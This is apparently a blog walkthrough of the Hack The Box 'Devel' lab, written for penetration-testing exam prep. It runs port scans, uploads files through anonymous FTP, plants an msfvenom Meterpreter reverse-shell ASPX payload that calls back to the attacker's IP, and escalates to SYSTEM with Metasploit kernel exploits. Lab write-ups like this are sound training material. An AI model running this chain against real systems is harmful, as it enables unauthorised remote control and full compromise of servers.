If you've landed on my little corner of the internet before, I'd normally place an informational segue into the room here.

Today is not that day.

Devel is a HTB challenge TCM Security uses for PNPT cert exam prep. That means we're flying in blind, but not unequipped.

Tasked with the challenge of achieving User privs before consulting any PNPT course content, I took the opportunity to see just how far I could get on my own.

Let the fun begin.

We'll start off with two terminal windows: one running an Nmap scan of the Target IP, and one Rustscan (that still passes off to Nmap, but a bit faster) running to assess our open ports and services.

If you'd like to set your Target IP as a variable, do so in each terminal window you open as you go along:

tip=10.129.77.223
echo $tip

First, our Nmap syntax. This will scan for open ports, script vulnerabilities, and a bunch of other useful information:

nmap -sS -Pn -sC -sV --script=vuln -T4 -A $tip -oN DEVEL_nmap_result

Now our more efficient Rustscan:

sudo rustscan -a $tip -b 5000 -r 1-65535 --exclude-ports 9999 -- -A -n -T4 --max-retries 1 --min-rate 1000 -oA DEVEL_rust_scan

I'm piping the output for both into three formats. Likely overkill for a challenge, but practicing professional habits at all times only helps solidify them.

Here's a solid and much easier to remember Rustscan syntax for challenge environments:

rustscan -a $tip -- -A

It's a great scan that shows you all open ports via Rustscan, which then hands it over to Nmap to enumerate everything running on those ports. Seeing the running services can help you assess the type of environment (example: AD or AD CS), if vulnerable services are running, etc.

Rustscan comes back first with very similar information to what we'll eventually see Nmap return:

Screenshot 2026-10-08 at 6.30.37 AM.png Screenshot 2026-10-08 at 6.31.16 AM.png

Well, well. We have an anonymous FTP server running on Port 21. This challenge is marked as Easy, so we'll keep this in our back pocket as the likely path to initial access.

We also have Port 80 communicating through Windows Server. Also duly noted.

We have questions to answer along the path. Before diving in deeper, we'll pay attention to them.

Let's review the Nmap scan results. No, running both wasn't fully necessary. If your brain is any bit like mine, you want information in several formats. Rustscan comes back quickly, Nmap comes back cautiously and with gusto:

Screenshot 2026-10-08 at 6.37.11 AM.png Screenshot 2026-10-08 at 6.37.38 AM.png

As you can see, the more detailed Nmap is worth waiting for because it holds the answer to our first question.

What is the name of the service running on TCP port 21 on the target machine? Microsoft ftpd

Screenshot 2026-10-08 at 6.39.09 AM.png

This also helps validate intuitions about the initial access path.

The next question doesn't require any recon or enum to answer. It does require some basic knowledge of FTP commands. Thankfully, I coded in an era where FTP was a perfectly viable way to upload content while building a website.

Which basic FTP command can be used to upload a single file onto the server? put

Screenshot 2026-10-08 at 6.43.35 AM.png

Interactive FTP commands are literal, which my neurospicy brain appreciates.

The next flag question wants us to enumerate the anonymous FTP service, so we'll do just that.

If FTP is running on Port 21 like it is here, here's how you connect:

ftp $tip

Since it's an Anonymous FTP service, the credentials are Anonymous:<leave blank/hit Enter>:

Screenshot 2026-10-08 at 6.47.01 AM.png

Let's see what's hiding on here:

ls
Screenshot 2026-10-08 at 6.48.39 AM.png

The question wants to know if any files are on the FTP root, so let's find out where we are:

pwd
Screenshot 2026-10-08 at 6.50.35 AM.png

Now we can answer our next question with conviction.

Are files put into the FTP root available via the webserver? yes

Screenshot 2026-10-08 at 6.51.51 AM.png

The next question works as a strong hint.

Let's grab both files with extensions and do some quick static analysis:

get iisstart.htm
get welcome.png
Screenshot 2026-10-08 at 6.58.47 AM.png

Now that we have both, we'll investigate them on our local machine. Since we can come back to this wide open FTP server any time, sign off with:

bye

Now we'll take a closer look at what we have:

file iisstart.htm welcome.png
Screenshot 2026-10-08 at 7.00.37 AM.png

Okay. Basic information. Let's get a bit more detailed with each one:

xxd -l 16 welcome.png

The first command will help us identify if the PNG is, in fact, a PNG aka does it have the hex markers of a PNG file:

Screenshot 2026-10-08 at 7.03.14 AM.png

Hmm. This is deceptive. The 0d byte is missing. True PNGs should come back with this byte sequence: 89 50 4e 47 0d 0a 1a 0a.

Let's look a little deeper:

xxd -g 1 -l 24 welcome.png
Screenshot 2026-10-08 at 7.09.06 AM.png

Aha. FTP downloaded the PNG in ASCII mode, which probably ate its 0d (carriage return) bytes. We'll go back and grab it.

First, let's confirm that we don't need to redownload the .htm file:

sed -n '1,80p' iisstart.htm
Screenshot 2026-10-08 at 7.04.52 AM.png
ftp $tip
binary
status
get welcome.png welcome-verified.png
bye
Screenshot 2026-10-08 at 7.17.09 AM.png

That took a little longer than I'd expect a single PNG file to need.

Back on our local machine:

stat -c '%n %s bytes' welcome*.png
xxd -g 1 -l 8 welcome-verified.png
Screenshot 2026-10-08 at 7.18.30 AM.png

Just a regular PNG. Using binary resuscitated the missing 0d byte.

Let's check the response headers:

curl -I http://$tip/
Screenshot 2026-10-08 at 7.22.41 AM.png

There's our answer.

What file extension is executed as a script on this webserver? Don't include the ..

Screenshot 2026-10-08 at 7.23.14 AM.png

ASP.NET is enabled on the Microsoft server. X-Powered-By: ASP.NET means .aspx is executed by IIS.

The next question wants us to identify which metasploit recon module is best used to PrivEsc on a compromised system.

Using what we know, let's fire up metasploit and find out:

msfconsole

I know it seems like we skipped a step here, but we don't actually have to identify the vulnerable service we're exploiting to identify the answer to the next question.

The question asks us what will run "on a compromised system", which likely means we need to search metasploit for:

search type:post local
Screenshot 2026-10-08 at 7.53.33 AM.png

Row 33 is looking the most promising with its mentions of "recon" and "suggest possible paths."

Let's see if we're right:

info 33
Screenshot 2026-10-08 at 7.55.49 AM.png

Music to my ears. This sounds like exactly what we're looking for. It suggests local exploits, and it runs on a compromised system using SESSION.

Which metasploit reconnaissance module can be used to list possible privilege escalation paths on a compromised system?

Screenshot 2026-10-08 at 7.57.50 AM.png

Now that we know we have the correct metasploit recon module, we're left to find our way to the user and root flags by way of using it.

FYI: My hotel Wi-Fi was utter crap. I redid the search after finally establishing a new connection and added a space by accident, but it did create a convenient visual opp:

Screenshot 2026-10-09 at 8.02.59 AM.png

Alright. Let's see what this module needs from us.

sessions
Screenshot 2026-10-20 at 8.06.34 AM.png

Small hiccup here. There are no active sessions, and we will likely need an active session to grab an initial foothold.

Reflecting back on our port scan, FTP seems to be our most viable way in.

Back to FTP:

printf 'devel-test\n' > devel-test.txt
ftp "$tip"

Enter Anonymous, then hit the Enter key at the password prompt.

Screenshot 2026-10-09 at 8.22.49 AM.png

We meet again, ftp.

put devel-test.txt
bye
Screenshot 2026-10-09 at 8.25.06 AM.png

So formal and polite.

Back at our regular prompt:

curl "http://$tip/devel-test.txt"
Screenshot 2026-10-09 at 8.25.56 AM.png

It's now time to connect the dots around what we know.

We have a server running IIS. IIS runs .aspx files as server-side code. Fortunately for us, anonymous FTP lets us write files to the directory served by IIS. The .aspx file we upload might run when we request it to.

IIS and ASP.NET aren't inherently vulnerable services, but the perfect storm lay in the flaw of untrusted write access to executable web content.

By "might run," I mean we have to test if the conditions are favorable. Let's see if it will execute .aspx:

printf '%s\n' '<%@ Page Language="C#" %><% Response.Write("aspx-ran"); %>' > probe.aspx
ftp "$tip"

Now back to our ftp portal:

ftp $tip
#Enter Anonymous for the username, click Enter at the password prompt.
put probe.aspx
bye
Screenshot 2026-10-09 at 8.36.53 AM.png

Back at our terminal prompt:

curl -i "http://$tip/probe.aspx"

I mentally picture this like throwing a lasso that you laid upon the ground and then pulled as hard as you can when someone stepped in the center.

Screenshot 2026-10-09 at 8.37.34 AM.png

We put the code there. It ran. By logical deduction, someone has the rights to execute that code. We just have no idea who (yet).

That's what we need to know next.

Open probe.aspx, and replace the body with this snippet:

nano probe.aspx
<%@ Page Language="C#" %><% Response.Write(System.Security.Principal.WindowsIdentity.GetCurrent().Name); %>

As you can see, we've created a tiny C# program to execute:

Screenshot 2026-10-09 at 8.47.40 AM.png

Save and exit with CTRL + O and CTRL + X .

Once again, we're going to upload probe.aspx and run it:

ftp $tip
#Enter Anonymous for the username, click Enter at the password prompt.
put probe.aspx
bye

And request it again:

curl -i "http://$tip/probe.aspx"
Screenshot 2026-10-09 at 8.49.03 AM.png

(Laughs in evil hacker) It worked. Excellent. We have evidence that the server will execute ASPX code.

To set up our shell, we need a callback address on our Kali VM that the target can reach. Think "ET Phone Home", but ET needs the number:

ip -br addr show tun0

Take note of the IP you get back. That's what you'll set as the LHOST in msfconsole.

As I mentioned earlier, there's no active session in local_exploit_suggester. That means we need to pivot to a different metasploit module that allows our uploaded ASPX code to establish a session.

Let's open msfconsole back up and prep the listener:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.123
show options

show options will reveal what we're missing to successfully run the exploit and achieve the shell.

Screenshot 2026-10-09 at 8.56.16 AM.png

Everything required to run this exploit is already in place. Kali will listen on Port 4444 as evidenced by LPORT 4444.

Now we start it in the background...

run -j
Screenshot 2026-10-09 at 8.59.30 AM.png

...and the listener is alive and ready. Started reverse TCP handler on <YOUR_CALLBACK_IP>:4444 is your confirmation.

Now we open a new Kali terminal and create a new .aspx file that matches what the listener needs: same payload, IP, and port on both the listener and local sides.

This will create foothold.aspx using the same payload, address, and port as our listener:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.123 LPORT=4444 -f aspx -o foothold.aspx
Screenshot 2026-10-09 at 9.05.21 AM.png

Success.

We're going to repeat the same process as we did with probe.aspx with our new foothold.aspx, but we don't need the initial testing phase. We know it'll execute.

Re-set your target IP as a variable with tip=TARGET_IP, then:

ftp $tip
put foothold.aspx
bye
Screenshot 2026-10-09 at 9.08.25 AM.png

Now we request our freshly planted .aspx with curl, and turn our eyes back to the metasploit listener:

curl -i "http://$tip/foothold.aspx"
Screenshot 2026-10-09 at 9.10.29 AM.png

Aha! We got it. Meterpreter session 1 opened.

I know it doesn't look like we have a prompt to type at in msfconsole because we backgrounded it with run -j, but type this and trust me a bit:

sessions -i 1

Then...

getuid
Screenshot 2026-10-09 at 9.13.22 AM.png

We can officially confirm we're running as IIS APPPOOL\Web.

Now that we have the missing session open, we can pivot back to local_exploit_suggester. It's a recon module that uses an existing shell or Meterpreter session to assess local exploits that might work.

The active shell, aka SESSION, allows it to do its job properly.

Still at our meterpreter prompt:

background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

We set session 1 as IIS APPPOOL\Web, and now the module can inspect that contextually. And it's off to work:

Screenshot 2026-10-20 at 8.30.49 AM.png

Let it finish checking for workable exploits. This module performs due diligence.

Screenshot 2026-10-20 at 8.33.14 AM.png

Since the results show Post interrupted by the console user (I did no such thing, but that's okay) and it didn't finish all 243 potential exploit investigations, let's gather intel on the Windows build and our session privileges to make sure we're in good shape:

sessions -i 1
sysinfo
getprivs
Screenshot 2026-10-20 at 8.37.20 AM.png

The most important takeaways from our new intel are Windows 7 build 7600, x86, and SeImpersonatePrivilege.

We'll investigate the suggester's impersonation recommendations to see if any fit this specific situation.

I started with ms16_075_reflection. It didn't get us to SYSTEM, but here's the logic behind trying it:

1. getprivs showed us SeImpersonatePrivilege. That means we want to lead with “investigate token impersonation.”

2. You can run search impersonate in msfconsole and run info to read about the applicable results.

3. Cross compare each result with what you concretely know: Windows 7 x86, an IIS service account, and a live session.

Still at the meterpreter prompt:

background
info exploit/windows/local/ms16_075_reflection

We don't know that we've picked the right suggestion yet. Let's see if we're on the right track:

use exploit/windows/local/ms16_075_reflection
set SESSION 1
check
Screenshot 2026-10-20 at 8.53.06 AM.png

Well, we lost our first SESSION set by the ASPX payload.

We'll run this at the msf exploit prompt, and if it comes back empty, we'll restart our listener:

jobs
Screenshot 2026-10-20 at 8.54.52 AM.png

Time to restart our listener.

We'll fortify our listener a little better this time by setting it to listen for reconnects:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.123
set LPORT 4444
set ExitOnSession false
run -j
Screenshot 2026-10-20 at 8.58.59 AM.png

Almost there. From a separate Kali terminal, ideally the same separate terminal you used to trigger the previous shell (aka make sure your tip variable is set), run this bad boy:

curl "http://$tip/foothold.aspx"
Screenshot 2026-10-20 at 9.00.39 AM.png

Back in msfconsole, type sessions and hit enter:

Screenshot 2026-10-20 at 9.01.40 AM.png

Session 2 is live and as IIS APPPOOL\Web. Let's see if we can verify a second session using our exploit of choice:

use exploit/windows/local/ms16_075_reflection
set SESSION 2
check

I'll take it. Not a guarantee, but pretty darn close:

Screenshot 2026-10-20 at 9.03.38 AM.png

Let's make sure we've set everything this potentially winning exploit needs to run:

show options
Screenshot 2026-10-20 at 9.04.54 AM.png

Glad we ran this. It may not apply to your specific situation, but I need to change my LHOST (the IP where the target reached me), and Port 4444 is already busy hosting the shell in Session 1.

set LHOST 10.10.14.123
set LPORT 4445
show options
Screenshot 2026-10-20 at 9.07.15 AM.png

We're going to type run next. We don't know if we'll be given a shell or a system token, but we'll take it one step at a time:

run
Screenshot 2026-10-20 at 9.09.23 AM.png

This has very morose vibes with its "`wait for (hopefully privileged) payload execution".

Maybe the trick to this session successfully establishing is managed expectations. At least it's refreshingly honest, and we have our shell:

getuid
Screenshot 2026-10-20 at 9.12.07 AM.png

We were cautioned that we could obtain a privileged token without fully changing the session's identity.

Let's find out:

load incognito
list_tokens -u
Screenshot 2026-10-20 at 9.13.58 AM.png

Well, not great news. Session 3 doesn't have a privileged token available, and we just learned we don't have a session to impersonate.

Back to the exploit suggestions list:

info exploit/windows/local/ms10_015_kitrap0d

This one looks like a strong fit:

Screenshot 2026-10-20 at 9.16.54 AM.png

We're at the meterpreter prompt, so let's get back to msfconsole and start cooking:

background
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 3
check
Screenshot 2026-10-20 at 9.18.17 AM.png

Not the most validating verification. The service was found, but it did not validate the vulnerability.

We'll see:

show options
Screenshot 2026-10-20 at 9.19.42 AM.png

Let's make the necessary changes and run it:

set LHOST 10.10.14.123
set LPORT 4446
run

This is a kernel exploit with an inconclusive verification, so it could either fail or destabilize our challenge's box.

Screenshot 2026-10-20 at 9.22.06 AM.png

It landed, but killed our Session 2 in the process. Let's run this anyways:

getuid
Screenshot 2026-10-20 at 9.23.09 AM.png

Well alright then! We are NT AUTHORITY\SYSTEM. Privilege escalation has been achieved. Let's find the user flag:

shell
dir C:\Users
Screenshot 2026-10-20 at 9.24.56 AM.png

babis looks like our human user profile. Let's see where babis takes us:

dir C:\Users\babis\Desktop
Screenshot 2026-10-20 at 9.26.16 AM.png

There's our user flag. Let's grab it:

type C:\Users\babis\Desktop\user.txt
Screenshot 2026-10-20 at 9.27.01 AM copy.png

I don't love making assumptions, but let's entertain the idea that the administrator's flag can be found using the same pattern:

dir C:\Users\Administrator\Desktop
Screenshot 2026-10-20 at 9.30.04 AM.png

I was hoping it might be a bit more hidden, but I'll take it:

type C:\Users\Administrator\Desktop\root.txt
Screenshot 2026-10-20 at 9.31.31 AM copy.png

And there we have it. Admin = pwned.

Screenshot 2026-10-20 at 9.32.13 AM.png

Final attack chain

FTP write > ASPX execution > Meterpreter session > Windows 7 x86 PrivEsc > SYSTEM.